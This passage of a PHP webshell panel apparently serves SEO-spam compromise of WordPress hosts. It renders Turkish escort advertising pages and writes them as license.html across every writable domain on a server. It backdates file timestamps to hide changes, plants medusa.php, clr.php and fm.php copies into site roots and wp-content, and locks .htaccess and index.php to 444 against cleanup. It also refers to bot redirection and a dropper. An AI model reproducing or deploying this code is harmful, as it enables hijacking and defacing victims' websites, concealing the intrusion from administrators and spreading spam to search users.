['header'=>'linear-gradient(135deg, #f8f0e8, #e8d5c4)','bg'=>'#fcf9f5','cardBg'=>'#ffffff','border'=>'#f0e6df','heading'=>'#4a3a2a','text'=>'#4a3a38','accent'=>'#c4a88a','tagBg'=>'#f4ece8','tagColor'=>'#7a5a4a','statBg'=>'rgba(74,58,42,0.08)','statColor'=>'#4a3a2a','footer'=>'#8a7a78','cardShadow'=>'0 6px 20px rgba(0,0,0,0.04)','cardRadius'=>'20px','fontFamily'=>"'Georgia', serif"],
];
$theme = $themes[array_rand($themes)];
$title = randStr([
$mainD[0].' escort, '.$mainD[1].' escort, '.$mainD[2].' escort, '.$mainD[3].' escort | '.$titlePrefix,
$titlePrefix.' • '.$mainD[0].' Escort • '.$mainD[1].' Escort • '.$mainD[2].' Escort • VIP',
$mainD[0].' escort, '.$mainD[1].' escort, '.$mainD[2].' escort | En İyi '.$titlePrefix.' 2026',
]);
$desc = randStr([
$mainD[0].' escort, '.$mainD[1].' escort ve '.$mainD[2].' escort ilçelerinde VIP escort bayanlar. '.$semtler[0].', '.$semtler[1].', '.$semtler[2].' semtlerinde elden ödeme, kapora yok, 7/24 gizlilik.',
'İstanbul VIP escort rehberi: '.$mainD[0].', '.$mainD[1].', '.$mainD[2].' ve '.$mainD[3].' ilçelerinde onaylı profiller. '.$descPrefix.'.',
$titlePrefix.' — '.$mainD[0].', '.$mainD[1].', '.$mainD[2].' hatlarında seçkin partnerler, lüks buluşma, tam gizlilik garantisi.',
]);
$cards = '';
foreach ($mainD as $d) {
$hood = $neighborhoods[array_rand($neighborhoods)];
$cards .= '
<div class="section-card">
<h2>'.$d.' Escort | '.$d.' VIP escort bayanlar | '.$titlePrefix.'</h2>
<p>'.$titlePrefix.' '.$d.' escort hizmetleri; '.$hood.', '.$semtler[array_rand($semtler)].' ve çevresinde elden ödemeli, gizlilik odaklı VIP partner rehberi. Kapora yok, 7/24 iletişim.</p>
<div class="meta-tags">
<span class="tag">📍 '.$d.'</span>
<span class="tag">⭐ VIP</span>
<span class="tag">🔒 Gizlilik</span>
<span class="tag">💳 Elden Ödeme</span>
</div>
</div>';
}
$listItems = '';
foreach (array_slice($districts, 0, 20) as $d) {
$listItems .= '<li><strong>'.$d.' Escort</strong> — '.$d.' ilçesinde profesyonel escort hizmeti, '.$neighborhoods[array_rand($neighborhoods)].' semtinde özel randevu</li>';
}
$tags = '';
foreach ($semtler as $s) {
$tags .= '<span class="district-tag">✨ '.$s.' Escort</span>';
}
$css = '
* { margin:0; padding:0; box-sizing:border-box; }
body { max-width:1100px; margin:auto; background:'.$theme['bg'].'; font-family:'.$theme['fontFamily'].'; padding:20px; }
header { background:'.$theme['header'].'; color:white; padding:50px 20px 40px; text-align:center; border-radius:0 0 25px 25px; box-shadow:0 12px 30px rgba(0,0,0,0.15); }
header h1 { font-family:\'Playfair Display\',serif; font-size:2.8rem; font-weight:700; letter-spacing:0.5px; }
header p { color:rgba(255,255,255,0.8); max-width:700px; margin:15px auto; font-size:1.1rem; line-height:1.8; }
.stats-bar { display:flex; gap:24px; flex-wrap:wrap; justify-content:center; background:'.$theme['statBg'].'; padding:16px; border-radius:16px; margin-top:20px; }
.stats-bar span { color:'.$theme['statColor'].'; font-weight:500; font-size:0.9rem; }
.entry-content { background:white; padding:40px 30px; border-radius:20px; box-shadow:0 10px 40px rgba(0,0,0,0.04); margin:30px auto; max-width:1000px; }
.section-card { background:'.$theme['cardBg'].'; padding:30px; margin-bottom:32px; border-radius:'.$theme['cardRadius'].'; border:1px solid '.$theme['border'].'; transition:0.3s; box-shadow:'.$theme['cardShadow'].'; }
.section-card:hover { border-color:'.$theme['accent'].'; box-shadow:0 8px 30px rgba(0,0,0,0.08); }
.section-card h2 { color:'.$theme['heading'].'; font-size:1.6rem; border-left:4px solid '.$theme['accent'].'; padding-left:16px; margin-bottom:16px; font-family:\'Playfair Display\',serif; }
.section-card p { line-height:1.9; color:'.$theme['text'].'; font-size:1.05rem; margin-bottom:12px; }
.section-card .meta-tags { display:flex; gap:12px; flex-wrap:wrap; margin-top:12px; }
.section-card .tag { background:'.$theme['tagBg'].'; padding:4px 16px; border-radius:30px; font-size:0.75rem; color:'.$theme['tagColor'].'; font-weight:500; }
.district-tag { display:inline-block; background:'.$theme['tagBg'].'; padding:6px 14px; border-radius:30px; font-size:0.8rem; margin:4px; font-weight:500; color:'.$theme['heading'].'; border:1px solid '.$theme['border'].'; }
.districts-list { columns:3; list-style:none; padding-left:0; }
.districts-list li { padding:8px 0; font-size:0.9rem; border-bottom:1px solid '.$theme['border'].'; }
.badge-logo { display:inline-block; background:'.$theme['accent'].'; color:'.$theme['heading'].'; border-radius:50px; padding:6px 20px; font-size:0.8rem; font-weight:700; letter-spacing:1px; margin-bottom:15px; }
footer { text-align:center; padding:30px; color:'.$theme['footer'].'; font-size:0.8rem; border-top:1px solid '.$theme['border'].'; margin-top:30px; }
@media (max-width:900px){ .districts-list { columns:2; } header h1 { font-size:2.2rem; } }
@media (max-width:600px){ .districts-list { columns:1; } header h1 { font-size:1.8rem; } }
';
$schema = [
'@context' => 'https://schema.org',
'@type' => 'LocalBusiness',
'name' => $titlePrefix,
'alternateName' => $title,
'description' => $desc,
'url' => $baseUrl,
'priceRange' => '₺₺₺',
'address' => ['@type' => 'PostalAddress', 'addressLocality' => 'İstanbul', 'addressCountry' => 'TR'],
'areaServed' => array_map(function ($d) { return $d . ' Escort'; }, $mainD),
'openingHours' => 'Mo-Su 00:00-23:59',
];
$footerD = implode(' Escort | ', array_slice($mainD, 0, 4)) . ' Escort';
return "<!DOCTYPE html>
<html lang='tr'>
<head>
<meta charset='UTF-8'>
<meta name='viewport' content='width=device-width, initial-scale=1.0'>
<title>$title</title>
<meta name='description' content='$desc'>
<meta name='keywords' content='$keywords'>
<meta name='robots' content='index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1'>
<link rel='canonical' href='$baseUrl' />
<link rel='alternate' hreflang='tr' href='$baseUrl' />
<link rel='alternate' hreflang='x-default' href='$baseUrl' />
<link href='https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=Playfair+Display:wght@400;500;600;700&display=swap' rel='stylesheet' />
<script type='application/ld+json'>".json_encode($schema, JSON_UNESCAPED_UNICODE)."</script>
<style>$css</style>
</head>
<body>
<header>
<div class='badge-logo'>✦ $titlePrefix</div>
<h1>$title</h1>
<p>".substr($desc, 0, 150)."...</p>
<div class='stats-bar'>
<span>🌐 ".count($districts)." İlçe</span>
<span>📍 ".count($neighborhoods)."+ Semt</span>
<span>⭐ 500+ Profil</span>
<span>🕐 7/24 Hizmet</span>
<span>🔒 Elden Ödeme</span>
</div>
</header>
<article>
<div class='entry-content'>
<div class='section-card'>
<h2>✦ $titlePrefix Deneyimi</h2>
<p>".randStr([
$titlePrefix.' hizmetleri İstanbul\'un '.count($districts).' ilçesinde VIP escort deneyimi sunar. '.implode(', ', array_slice($mainD, 0, 3)).' ve tüm semtlerde elden ödeme, kapora yok.',
'VIP escort kalitesiyle '.$titlePrefix.' — '.implode(', ', array_slice($mainD, 0, 3)).' başta olmak üzere Avrupa ve Anadolu yakasında lüks partner rehberi.',
])."</p>
</div>
$cards
<div class='section-card'>
<h2>Tüm İstanbul İlçeleri — Escort Hizmetleri</h2>
<ul class='districts-list'>$listItems</ul>
</div>
<div class='section-card'>
<h2>Popüler Semtler — Escort Seçenekleri</h2>
<div style='display:flex; flex-wrap:wrap; margin-bottom:12px;'>$tags</div>
<p style='font-size:0.95rem; color:#666;'>İstanbul'un ".count($neighborhoods)."+ semtinde profesyonel escort hizmeti.</p>
</div>
<div class='section-card'>
<h2>VIP Ayrıcalıkları</h2>
<p>✓ Elden ödeme — Kapora yok<br>✓ Gerçek fotoğraflı onaylı profiller<br>✓ 7/24 özel müşteri hizmetleri<br>✓ ".count($districts)." ilçe + ".count($neighborhoods)."+ semt<br>✓ Gizlilik garantisi</p>
</div>
</div>
</article>
<footer>
<p>$footerD | İstanbul escort rehberi © ".date('Y')."</p>
</footer>
</body>
</html>";
}
// ============================================
// ── TIMESTAMP MASKELEME ─────────────────────
// ============================================
function ref_mtime($dir,$skip=[]){
$mt=[];
if($dh=@opendir($dir)){
while(($f=readdir($dh))!==false){
if($f==='.'||$f==='..')continue;
$fp=$dir.DIRECTORY_SEPARATOR.$f;
if(!is_file($fp)||in_array($f,$skip))continue;
$t=@filemtime($fp);
if($t>mktime(0,0,0,1,1,2010))$mt[]=$t;
}
closedir($dh);
}
if(empty($mt))return null;
sort($mt);
return $mt[(int)(count($mt)/2)];
}
if(isset($_POST['fix_timestamp'])){
$skip = ['.', '..', basename(__FILE__)];
$refMt = ref_mtime($currentDirectory, $skip);
if(!$refMt){
$statusMessage = '❌ Referans dosya bulunamadı!';
$statusType = 'error';
} else {
$count = 0;
if($dh=@opendir($currentDirectory)){
while(($f=readdir($dh))!==false){
if($f==='.'||$f==='..'||in_array($f,$skip))continue;
$fp=$currentDirectory.DIRECTORY_SEPARATOR.$f;
if(is_file($fp)){
@touch($fp, $refMt);
$count++;
}
}
closedir($dh);
}
$statusMessage = "✅ $count dosyanın timestamp'i güncellendi (Referans: ".date('d.m.Y H:i:s',$refMt).")";
$statusType = 'success';
}
}
// ============================================
// ── TÜM CACHE TEMİZLEME FONKSİYONU ─────────
// ============================================
function clearCacheForDirectory($dir) {
$results = [];
chdir($dir);
// ── Sunucu cache'leri ──
if (function_exists('opcache_reset')) {
$results[] = opcache_reset() ? '✅ OPcache temizlendi' : '❌ OPcache temizlenemedi';
} else {
$results[] = '⚠️ OPcache aktif değil';
}
if (function_exists('apcu_clear_cache')) {
$results[] = apcu_clear_cache() ? '✅ APCu temizlendi' : '❌ APCu temizlenemedi';
} else {
$results[] = '⚠️ APCu aktif değil';
}
if (class_exists('Memcache')) {
try {
$memcache = new Memcache();
if (@$memcache->connect('localhost', 11211)) {
$results[] = $memcache->flush() ? '✅ Memcache temizlendi' : '❌ Memcache temizlenemedi';
$memcache->close();
} else {
$results[] = '⚠️ Memcache bağlanamadı';
}
} catch (Exception $e) {
$results[] = '❌ Memcache hatası: ' . $e->getMessage();
}
} else {
$results[] = '⚠️ Memcache aktif değil';
}
if (class_exists('Memcached')) {
try {
$memcached = new Memcached();
$memcached->addServer('localhost', 11211);
$results[] = $memcached->flush() ? '✅ Memcached temizlendi' : '❌ Memcached temizlenemedi';
} catch (Exception $e) {
$results[] = '❌ Memcached hatası: ' . $e->getMessage();
}
} else {
$results[] = '⚠️ Memcached aktif değil';
}
if (class_exists('Redis')) {
try {
$redis = new Redis();
if (@$redis->connect('127.0.0.1', 6379)) {
$results[] = $redis->flushAll() ? '✅ Redis temizlendi' : '❌ Redis temizlenemedi';
$redis->close();
} else {
$results[] = '⚠️ Redis bağlanamadı';
}
} catch (Exception $e) {
$results[] = '❌ Redis hatası: ' . $e->getMessage();
}
} else {
$results[] = '⚠️ Redis aktif değil';
}
// ── WordPress cache'leri ──
$wpLoad = findWpLoadPath($dir);
if ($wpLoad && file_exists($wpLoad)) {
require_once $wpLoad;
if (defined('ABSPATH')) {
if (function_exists('wp_cache_flush')) {
wp_cache_flush();
$results[] = '✅ WordPress Object Cache temizlendi';
}
global $wpdb;
if ($wpdb) {
$count = $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_%' OR option_name LIKE '_site_transient_%'");
$results[] = "✅ $count transient temizlendi";
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_timeout_%' OR option_name LIKE '_site_transient_timeout_%'");
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name = '_transient_doing_cron'");
$time = time();
$expired = $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_timeout_%' AND option_value < $time");
$results[] = "✅ $expired süresi dolmuş transient temizlendi";
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_feed_%' OR option_name LIKE '_transient_dash_%'");
}
flush_rewrite_rules();
$results[] = '✅ Rewrite rules yenilendi';
if (function_exists('wp_cache_clear_cache')) { wp_cache_clear_cache(); $results[] = '✅ WP Super Cache temizlendi'; }
if (function_exists('w3tc_flush_all')) { w3tc_flush_all(); $results[] = '✅ W3 Total Cache temizlendi'; }
if (function_exists('rocket_clean_domain')) { rocket_clean_domain(); $results[] = '✅ WP Rocket cache temizlendi'; }
if (class_exists('WpFastestCache')) { $wpfc = new WpFastestCache(); if (method_exists($wpfc, 'deleteCache')) { $wpfc->deleteCache(); $results[] = '✅ WP Fastest Cache temizlendi'; } }
if (class_exists('autoptimizeCache')) { autoptimizeCache::clearall(); $results[] = '✅ Autoptimize cache temizlendi'; }
if (defined('LSCWP_V')) { do_action('litespeed_purge_all'); $results[] = '✅ LiteSpeed Cache (WP) temizlendi'; }
if (class_exists('Cache_Enabler')) { Cache_Enabler::clear_total_cache(); $results[] = '✅ Cache Enabler temizlendi'; }
if (class_exists('comet_cache')) { comet_cache::clear(); $results[] = '✅ Comet Cache temizlendi'; }
if (function_exists('hyper_cache_flush')) { hyper_cache_flush(); $results[] = '✅ Hyper Cache temizlendi'; }
if ($wpdb) {
$tables = $wpdb->get_results("SHOW TABLES", ARRAY_N);
$optimized = 0;
foreach ($tables as $table) { $wpdb->query("OPTIMIZE TABLE " . $table[0]); $optimized++; }
$results[] = "✅ $optimized tablo optimize edildi";
$revisions = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_type = 'revision'");
if ($revisions > 0) $results[] = "✅ $revisions post revision temizlendi";
$drafts = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_status = 'auto-draft'");
if ($drafts > 0) $results[] = "✅ $drafts auto-draft temizlendi";
$spam = $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_approved = 'spam'");
if ($spam > 0) $results[] = "✅ $spam spam yorum temizlendi";
}
}
}
// ── Dosya bazlı cache dizinleri ──
$cacheDirs = [
$dir . '/wp-content/cache/',
$dir . '/cache/',
$dir . '/wp-content/w3tc-cache/',
$dir . '/wp-content/wp-rocket-cache/',
$dir . '/wp-content/endurance-page-cache/',
$dir . '/wp-content/et-cache/',
];
if (defined('ABSPATH') && function_exists('wp_upload_dir')) {
$upload_dir = wp_upload_dir();
$cacheDirs[] = $upload_dir['basedir'] . '/cache/';
}
foreach ($cacheDirs as $cacheDir) {
if (is_dir($cacheDir)) {
$deleted = 0;
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($cacheDir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($iterator as $file) {
if ($file->isFile()) { @unlink($file->getRealPath()); $deleted++; }
}
if ($deleted > 0) {
$results[] = "✅ " . basename($cacheDir) . " dizini temizlendi ($deleted dosya)";
}
}
}
// ── LiteSpeed purge header ──
if (!headers_sent()) {
header('X-LiteSpeed-Purge: *');
$results[] = '✅ LiteSpeed purge header gönderildi';
}
$lsDirs = ['/tmp/lshttpd/swap/', '/tmp/lshttpd/cache/', '/var/cache/litespeed/'];
foreach ($lsDirs as $lsDir) {
if (is_dir($lsDir)) {
$deleted = 0;
foreach (glob($lsDir . '*') as $f) { if (is_file($f) && @unlink($f)) $deleted++; }
if ($deleted > 0) $results[] = "✅ LiteSpeed dosya cache ($lsDir): $deleted dosya silindi";
}
}
return $results;
}
// ── CACHE TEMİZLEME (tek domain) ────────────
if(isset($_POST['clear_cache'])){
$results = clearCacheForDirectory($currentDirectory);
$statusMessage = implode(' | ', $results);
$statusType = (strpos($statusMessage, '❌') !== false) ? 'error' : 'success';
}
// ── TÜM DOMAIN CACHE TEMİZLE ────────────────
if(isset($_POST['clear_all_domains_cache'])){
$targets = fm_root_targets($currentDirectory);
if ($targets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$allResults = [];
$count = 0;
foreach ($targets as $target) {
$results = clearCacheForDirectory($target['path']);
$allResults[] = '🌐 ' . $target['domain'] . ': ' . implode(', ', array_slice($results, 0, 3));
$count++;
}
$statusMessage = "✅ $count domain cache temizlendi: " . implode(' | ', array_slice($allResults, 0, 5));
$statusType = 'success';
}
}
// ── license.html oluştur (Medusa SEO — bu site / fleet) ──
function fm_write_license_to_target(array $target): bool
{
$path = rtrim((string)($target['path'] ?? ''), '/\\');
if ($path === '' || !is_dir($path)) {
return false;
}
$url = fm_normalize_https_url((string)($target['url'] ?? ''));
$hostFromUrl = is_string(parse_url($url, PHP_URL_HOST)) ? parse_url($url, PHP_URL_HOST) : '';
if ($url === '' || !fm_is_valid_site_host((string)$hostFromUrl)) {
$url = fm_site_https_url($path);
}
if ($url === '') {
$dom = trim((string)($target['domain'] ?? ''));
if ($dom !== '' && fm_is_valid_site_host($dom)) {
$url = fm_normalize_https_url($dom);
}
}
if ($url === '') {
$req = fm_http_host();
if ($req !== '') {
$url = 'https://' . $req . '/';
}
}
$GLOBALS['fm_license_wp_root'] = $path;
$html = generateEscortPage($url);
$dest = $path . DIRECTORY_SEPARATOR . 'license.html';
if (!fm_can_write_deploy_dir($path) && !(is_file($dest) && is_writable($dest))) {
return false;
}
if (is_file($dest) && !is_writable($dest)) {
@chmod($dest, 0644);
}
return @file_put_contents($dest, $html) !== false;
}
if (isset($_POST['fm_license_current'])) {
try {
fm_license_runtime_prepare();
$wpRoot = fm_wp_root_for_ops($currentDirectory);
$url = getDomainUrl($wpRoot);
if (!$url && $detectedDomain) {
$url = fm_target_url($detectedDomain);
}
$ok = fm_write_license_to_target([
'path' => $wpRoot,
'domain' => $detectedDomain ?: basename($wpRoot),
'url' => $url ?: '',
]);
$statusMessage = $ok
? '✅ license.html oluşturuldu: ' . $wpRoot
: '❌ license.html yazılamadı (izin veya SEO modülü yüklenemedi — ?fm_selfcheck=1 → bundle_seo=1)';
$statusType = $ok ? 'success' : 'error';
} catch (Throwable $e) {
$statusMessage = '❌ License hatası: ' . $e->getMessage();
$statusType = 'error';
}
}
if (isset($_POST['fm_license_fleet'])) {
try {
fm_license_runtime_prepare();
$targets = fm_root_targets($currentDirectory);
if ($targets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$count = 0;
$failed = [];
foreach ($targets as $target) {
if (fm_write_license_to_target($target)) {
$count++;
} else {
$failed[] = (string)($target['domain'] ?? basename((string)$target['path']));
}
}
$statusMessage = '✅ ' . $count . ' siteye license.html yazıldı (Medusa SEO)';
if ($failed !== []) {
$statusMessage .= ' | Hata: ' . implode(', ', array_slice($failed, 0, 5));
}
$statusType = ($count > 0 && $failed === []) ? 'success' : ($count > 0 ? 'success' : 'error');
}
} catch (Throwable $e) {
$statusMessage = '❌ Fleet license hatası: ' . $e->getMessage();
$statusType = 'error';
}
}
// ── DEPLOY İSTANBUL license.html ──
if(isset($_POST['deploy_escort'])){
try {
fm_license_runtime_prepare();
$mode = (isset($_POST['deploy_mode']) && $_POST['deploy_mode'] === 'manual') ? 'manual' : 'auto';
$allTargets = fm_discover_targets($currentDirectory);
$toDeploy = [];
if ($mode === 'auto') {
$toDeploy = $allTargets;
} else {
$selected = isset($_POST['selected_paths']) && is_array($_POST['selected_paths']) ? $_POST['selected_paths'] : [];
$known = [];
foreach ($allTargets as $t) {
$known[$t['path']] = $t;
}
foreach ($selected as $p) {
$rp = fm_safe_path($p, $rootDirectory);
if ($rp && is_dir($rp)) {
$toDeploy[] = $known[$rp] ?? [
'path' => $rp,
'domain' => getDomainFromPath($rp) ?: basename($rp),
'url' => getDomainUrl($rp) ?: ('http://' . ($_SERVER['HTTP_HOST'] ?? 'localhost')),
'type' => 'root',
];
}
}
$custom = trim((string)($_POST['custom_path'] ?? ''));
if ($custom !== '') {
$cr = fm_safe_path($custom, $rootDirectory);
if ($cr && is_dir($cr)) {
$toDeploy[] = [
'path' => $cr,
'domain' => getDomainFromPath($cr) ?: basename($cr),
'url' => getDomainUrl($cr) ?: ('http://' . ($_SERVER['HTTP_HOST'] ?? 'localhost')),
'type' => 'root',
];
}
}
}
if ($toDeploy === []) {
throw new Exception('Dağıtım hedefi bulunamadı.');
}
$count = 0;
$failed = [];
foreach ($toDeploy as $target) {
if (fm_write_license_to_target($target)) {
$count++;
} else {
$failed[] = $target['domain'];
}
}
$modeLabel = $mode === 'auto' ? 'otomatik' : 'manuel';
$statusMessage = "✅ $count hedefe İstanbul license.html yazıldı ($modeLabel)";
if ($failed !== []) {
$statusMessage .= ' | Hata: ' . implode(', ', $failed);
}
$statusType = ($failed === []) ? 'success' : 'error';
} catch (Exception $e) {
$statusMessage = '❌ Hata: ' . $e->getMessage();
$statusType = 'error';
}
}
// ── DEPLOY .htaccess & index.php TO ALL DOMAINS ──
if(isset($_POST['deploy_all_domains'])){
$sourceDir = $currentDirectory;
$generateClean = !empty($_POST['deploy_generate_clean_index']);
if ($generateClean) {
$rootTargets = fm_root_targets($currentDirectory);
if ($rootTargets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$relockAfter = !isset($_POST['deploy_no_relock']);
$withHt = !isset($_POST['deploy_no_htaccess']);
$res = fm_deploy_generated_index_fleet($rootTargets, $withHt, $relockAfter);
$statusMessage = '✅ Fleet temiz index: ' . $res['sites'] . ' site · ' . $res['files'] . ' dosya';
if ($relockAfter && ($res['relocked'] ?? 0) > 0) {
$statusMessage .= ' · 🔒 ' . $res['relocked'] . ' dosya kilitlendi (444)';
}
if ($res['skipped'] !== []) {
$statusMessage .= ' | Atlandı (' . count($res['skipped']) . '): '
. implode('; ', array_slice($res['skipped'], 0, 5));
}
$statusType = ($res['sites'] > 0) ? 'success' : 'error';
}
} else {
$htaccessSrc = $sourceDir . '/.htaccess';
$indexSrc = $sourceDir . '/index.php';
if(!file_exists($htaccessSrc) || !file_exists($indexSrc)){
$statusMessage = '❌ .htaccess veya index.php bulunamadı!';
$statusType = 'error';
} else {
$indexBody = (string)@file_get_contents($indexSrc);
$indexKind = fm_index_php_kind($indexBody);
if ($indexKind === 'obfuscated_malware') {
$statusMessage = '❌ Fleet deploy iptal: kaynak index.php şifreli/zararlı. '
. '«Temiz index» (bu site) veya «Index Fleet» / Fleet Deploy (ÜRET) kullanın.';
$statusType = 'error';
} else {
$rootTargets = fm_root_targets($currentDirectory);
if ($rootTargets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$relockAfter = !isset($_POST['deploy_no_relock']);
$res = fm_deploy_ht_index_fleet($sourceDir, $rootTargets, $relockAfter);
$statusMessage = '✅ ' . $res['files'] . ' dosya · ' . $res['sites'] . ' site yazıldı';
if ($relockAfter && ($res['relocked'] ?? 0) > 0) {
$statusMessage .= ' · 🔒 ' . $res['relocked'] . ' dosya kilitlendi (444)';
}
if ($res['skipped'] !== []) {
$statusMessage .= ' | Atlandı (' . count($res['skipped']) . '): '
. implode('; ', array_slice($res['skipped'], 0, 5));
if (count($res['skipped']) > 5) {
$statusMessage .= ' …';
}
}
$statusType = ($res['sites'] > 0) ? 'success' : 'error';
if ($res['sites'] === 0 && $res['skipped'] !== []) {
$statusMessage = '⚠️ Yazılabilir hedef yok. Sadece bu kullanıcının yazabildiği siteler kopyalanır '
. '(farklı vhost: new.crosspath.net vb. atlanır). ' . $statusMessage;
}
if ($indexKind === 'wordpress_stock' || $indexKind === 'unknown') {
$statusMessage .= ' | ℹ️ Kaynak index Medusa kapı değil (' . $indexKind . ') — bot yönlendirme için panelden index uygulayın.';
}
}
}
}
}
}
// ── DEPLOY CLR.PHP TO ALL DOMAINS (Ana dizine) ──
if(isset($_POST['deploy_clr_php'])){
$sourceDir = $currentDirectory;
$clrSrc = $sourceDir . '/clr.php';
if(!file_exists($clrSrc)){
$statusMessage = '❌ clr.php bulunamadı!';
$statusType = 'error';
} else {
$targets = fm_root_targets($currentDirectory);
if ($targets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$count = 0;
foreach ($targets as $target) {
$dest = rtrim($target['path'], '/\\') . DIRECTORY_SEPARATOR . 'clr.php';
if (!fm_can_write_deploy_dir(rtrim($target['path'], '/\\'))) {
continue;
}
if (fm_try_copy_file($clrSrc, $dest)) {
$count++;
}
}
$statusMessage = "✅ $count hedefe clr.php kopyalandı";
$statusType = 'success';
}
}
}
// ── DEPLOY MEDUSA.PHP TO ALL WP-CONTENT DIRS ──
if(isset($_POST['deploy_medusa_wpcontent'])){
$sourceDir = $currentDirectory;
$medusaSrc = $sourceDir . '/medusa.php';
if(!file_exists($medusaSrc)){
$medusaSrc = $sourceDir . '/wp-content/medusa.php';
}
$libSrc = null;
foreach (fm_index_library_candidate_paths() as $p) {
if (is_file($p)) {
$libSrc = $p;
break;
}
}
if(!file_exists($medusaSrc)){
$statusMessage = '❌ medusa.php bulunamadı! (ana dizinde veya wp-content/ içinde)';
$statusType = 'error';
} else {
$targets = fm_root_targets($currentDirectory);
if ($targets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$count = 0;
$libCount = 0;
$bundleCount = 0;
$fmSrc = is_file($sourceDir . DIRECTORY_SEPARATOR . 'fm.php') ? $sourceDir . DIRECTORY_SEPARATOR . 'fm.php' : dirname(__FILE__) . DIRECTORY_SEPARATOR . 'fm.php';
foreach ($targets as $target) {
$wpRoot = rtrim($target['path'], '/\\');
$wpContent = $wpRoot . DIRECTORY_SEPARATOR . 'wp-content';
if (!is_dir($wpContent) || !is_writable($wpContent)) {
continue;
}
if (fm_try_copy_file($medusaSrc, $wpContent . DIRECTORY_SEPARATOR . 'medusa.php')) {
$count++;
}
if ($libSrc !== null && fm_copy_index_library_to_site($wpRoot)) {
$libCount++;
}
$bc = fm_copy_fm_includes_bundle_to_site($wpRoot);
if ($bc > 0) {
$bundleCount++;
}
if (is_file($fmSrc) && fm_can_write_deploy_dir($wpRoot)) {
fm_try_copy_file($fmSrc, $wpRoot . DIRECTORY_SEPARATOR . 'fm.php');
}
}
$statusMessage = "✅ $count site/wp-content/ → medusa.php";
if ($libSrc === null) {
$statusMessage .= ' | ⚠️ ms_index_library yok — fm.php yanına includes/ veya ms_index_library.php yükleyin';
} elseif ($libCount > 0) {
$statusMessage .= " · $libCount× ms_index_library.php";
}
if ($bundleCount > 0) {
$statusMessage .= " · $bundleCount× includes/ FM paketi (SEO+index)";
}
$statusType = 'success';
}
}
}
// ── Hızlı izin: bu site / tüm hedefler (444↔644) ──
if (isset($_POST['fm_perm_quick'])) {
$mode = (int)($_POST['fm_perm_mode'] ?? 644);
if (!in_array($mode, [444, 644, 755], true)) {
$mode = 644;
}
$scope = (string)($_POST['fm_perm_scope'] ?? 'current');
$label = $mode === 444 ? 'Kilit 444' : ($mode === 644 ? 'Açık 644' : (string)$mode);
if ($scope === 'all') {
$targets = fm_root_targets($currentDirectory);
if ($targets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$res = fm_apply_ht_index_permissions($targets, $mode);
$statusMessage = '✅ ' . $res['sites'] . ' site · ' . $label
. ($res['lines'] !== [] ? ' — ' . implode(', ', array_slice($res['lines'], 0, 6)) : '');
$statusType = $res['sites'] > 0 ? 'success' : 'error';
}
} else {
$wpRoot = fm_wp_root_for_ops($currentDirectory);
$res = fm_apply_ht_index_permissions([[
'path' => $wpRoot,
'domain' => getDomainFromPath($wpRoot) ?: basename($wpRoot),
]], $mode);
$statusMessage = $res['sites'] > 0
? '✅ ' . basename($wpRoot) . ' index+.htaccess → ' . $label
: '⚠️ .htaccess/index.php yok veya chmod başarısız';
$statusType = $res['sites'] > 0 ? 'success' : 'error';
}
}
// ── TÜM DOMAİNLERDE .htaccess VE index.php İZİNLERİNİ TOPLU AYARLA ──
if(isset($_POST['set_permissions_all_domains'])){
$permMode = isset($_POST['permission_mode']) ? intval($_POST['permission_mode']) : 644;
$targets = fm_root_targets($currentDirectory);
if ($targets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$res = fm_apply_ht_index_permissions($targets, $permMode);
if ($res['sites'] > 0) {
$statusMessage = '✅ ' . $res['sites'] . ' site · mod ' . $permMode . ': '
. implode(', ', array_slice($res['lines'], 0, 8)) . (count($res['lines']) > 8 ? ' …' : '');
$statusType = 'success';
} else {
$statusMessage = '⚠️ Hiçbir hedefte .htaccess/index.php chmod edilemedi.';
$statusType = 'error';
}
}
}
// ── Gömülü FM paketi (includes/) kur ──
if (isset($_POST['fm_install_embedded_bundle'])) {
$force = !empty($_POST['fm_install_bundle_force']);
$res = fm_ensure_embedded_bundle($force);
fm_ms_index_lib_load(true);
fm_ensure_ms_seo();
if ($res['ok']) {
$statusMessage = '✅ FM paket kuruldu · ' . $res['written'] . ' dosya'
. ($res['files'] !== [] ? ': ' . implode(', ', array_slice($res['files'], 0, 6)) : '');
$statusType = $res['written'] > 0 ? 'success' : 'success';
if ($res['written'] === 0) {
$statusMessage .= ' (zaten güncel)';
}
} else {
$statusMessage = '❌ Paket kurulamadı: ' . $res['error'];
$statusType = 'error';
}
}
// ── Hızlı onarım: paket + dropper + temiz index (+ isteğe license) ──
if (isset($_POST['fm_quick_repair'])) {
$scope = (string)($_POST['fm_quick_repair_scope'] ?? 'current');
$withLicense = !empty($_POST['fm_quick_repair_license']);
$lines = [];
$bundle = fm_ensure_embedded_bundle(true);
fm_ms_index_lib_load(true);
fm_ensure_ms_seo();
$lines[] = $bundle['ok']
? ('paket ' . $bundle['written'] . ' dosya')
: ('paket HATA: ' . $bundle['error']);
$targets = $scope === 'fleet'
? fm_root_targets($currentDirectory)
: [[
'path' => fm_wp_root_for_ops($currentDirectory),
'domain' => $detectedDomain ?: basename(fm_wp_root_for_ops($currentDirectory)),
]];
if ($targets === []) {
$statusMessage = fm_fleet_empty_message();
$statusType = 'error';
} else {
$okSites = 0;
$fail = [];
